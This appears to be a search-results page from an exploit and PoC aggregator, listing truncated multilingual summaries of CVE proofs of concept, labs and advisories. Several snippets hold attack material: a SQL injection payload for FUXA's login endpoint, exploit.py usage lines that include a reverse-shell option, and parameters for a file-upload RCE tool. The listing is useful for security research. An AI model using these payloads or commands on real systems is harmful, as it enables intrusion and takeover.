316316 matches found
secure-by-default-rce-demo
Mitigazione RCE in Node.js: il DevOps come ultima linea di difesa Questo progetto dimostra una vulnerabilità critica di Remote Code Execution RCE in un'applicazione Next.js in particolare tramite Server Actions e come l'indurimento dell'infrastruttura neutralizzi efficacemente l'attacco anche...
zimbramail-CVE-2025-68645-poc
zimbramail-CVE-2025-68645-poc Ein Proof-of-Concept, der eine Local File Inclusion LFI Sicherheitslücke ausnutzt, die in der Webmail Classic UI von Zimbra Collaboration ZCS 10.0 und 10.1 aufgrund unsachgemäßer Handhabung vom Benutzer bereitgestellter Anfrageparameter im RestFilter-Servlet existier...
metabase-sql-poc
CVE-2026-72898 — Metabase Unauthenticated SQL Injection PoC...
CVE-2026-6128
The All-in-One WP Migration Unlimited Extension plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ai1wmbackupspath' parameter in all versions up to, and including, 2.84. This is due to insufficient input sanitization and output escaping on user-supplied attributes combine...
Security update for python36
This update for python36 fixes the following issues: CVE-2026-0864: improper handling of line-ending characters can lead to configuration file injection when the configparser module is used bsc1269066. CVE-2026-1502: HTTP client proxy tunnel headers not validated for CR/LF bytes bsc1261969...
CVE-2023-31719
CVE-2023-31719 Es ist möglich, SQL-Code in den JSON-Parameter "username" vom Endpunkt /api/signin über eine HTTP-POST-Anfrage einzuschleusen. "username":"test' OR 2891=LIKECHAR65,66,67,68,69,70,71,UPPERHEXRANDOMBLOB500000000/2-- ZJMj","password":"test" Name des betroffenen Produkts: FUXA Betroffe...
CVE-2022-26937
PoC di crash di Windows Network File System CVE-2022-26937 root@kitploit: nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a critical...
pdf.js-CVE-2024-4367
🚨 CVE-2024-4367 - Universeller PDF.js-Schwachstellenscanner ⚠️ KRITISCHES SICHERHEITSTOOL | Erkennt CVE-2024-4367 CVSS 9.8 - Sicherheitslücke zur Remote-Codeausführung in PDF.js Funktioniert auf JEDER Website - Keine Konfiguration erforderlich 📋 Inhaltsverzeichnis 📖 Übersicht ⚡ Schnellstart 🔍 Was...
POC_CVE-2024-4322
CVE-2024-4322: LoLLMS WebUI PoC & Nuclei-Validierungslabor Dieses Repository stellt Docker-basierte lokale Laborumgebungen zur Reproduktion von CVE-2024-4322 bereit, einer Path-Traversal-Sicherheitslücke in LoLLMS WebUI v9.6, sowie zur Validierung, dass das zugehörige Nuclei-Template nicht auf...
CVE-2026-42945-NGINX-Rift
CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...
motionEye-RCE-through-config-parameter
MotionEye RCE tramite bypass della validazione lato client Riepilogo Durante i test di sicurezza su un'istanza di MotionEye in esecuzione in Docker, è stato osservato che la validazione lato client nell'interfaccia web può essere aggirata. Ciò consente l'invio di input arbitrari, inclusi payload...
CVE-2025-24054
Windows Datei-Explorer Zero-Click NTLMv2-SSP Hash-Offenlegung 🎥 Demonstrations-PoC + März 2025 Patch-Bypass 🎥 Patch-Bypass Klicken Sie auf das Bild oben, um die Demonstration der Sicherheitslücke anzusehen 📋 Technische Übersicht Dieses Repository bietet einen umfassenden Forschungsrahmen zur...
CVE-2025-34040Exp
RCE durch Datei-Upload in 致远OA CVE-2025-34040 Parameter root@kitploit: options: -h, --help show this help message and exit -u URL, --url URL 请输入待检测的URL -f FILE, --file FILE 请输入一行一个URL的文件地址 -n FILENAME, --filename FILENAME 请输入文件名（默认为Hello.jsp）： -c CONTENT, --content CONTENT 请输入上传的文件内容（默认为HelloWord...
CVE-2022-30040
ثغرة رفض الخدمة في Tenda AX1803 v1.0.0.12890 نظرة عامة معلومات موقع الشركة المصنعة: https://www.tenda.com.cn/profile/contact.html عنوان تحميل البرنامج الثابت: https://www.tenda.com.cn/download/default.html وصف الثغرة تقع الثغرة في نظام الملفات rootfsubifs، وتحديدًا في /goform/SetSysTimeCfg داخل...
session_reaper_lab
CVE-2025-54236 - SessionReaper Lab Docker-Umgebung zur praktischen Demonstration von CVE-2025-54236 SessionReaper: PHP-Object-Deserialisierung mit RCE in Magento Open Source 2.4.7. Ausschließlich zur Nutzung in kontrollierten Umgebungen. Nicht gegen Systeme ohne ausdrückliche Genehmigung ausführe...
practice-22-23
Projekt Zum Starten: ./script.sh Repository auf GitHub - https://github.com/LaCinquette/practice-22-23 Durchführung 1. Für die Suche nach einer Schwachstelle habe ich das Projekt FFmpeg ausgewählt. Ich fand darin einen Commit, der den Anforderungen entsprach, nämlich: Entsprach dem Typ CWE-476 -...
Wordpress-ebook-CVE-2016-10924
Das Wordpress eBook Download 1.1 Plugin weist eine Schwachstelle zur Offenlegung von Dateien auf, indem es seinen get-Parameter in der Datei filedownload.php missbraucht. Dieses Script führt Brute-Force-Angriffe auf verschiedene Prozesse auf dem Server durch, indem es diese Schwachstelle ausnutzt...
CVE-2025-63441
CVE-2025-63441 Titolo: XSS riflesso tramite arbitrarily supplied URL parameter param all'endpoint u/administrator/friends Sommario: È stata identificata una vulnerabilità di Cross-Site Scripting XSS riflesso nell'endpoint u/administrator/friends dell'applicazione OSSN. Questa vulnerabilità consen...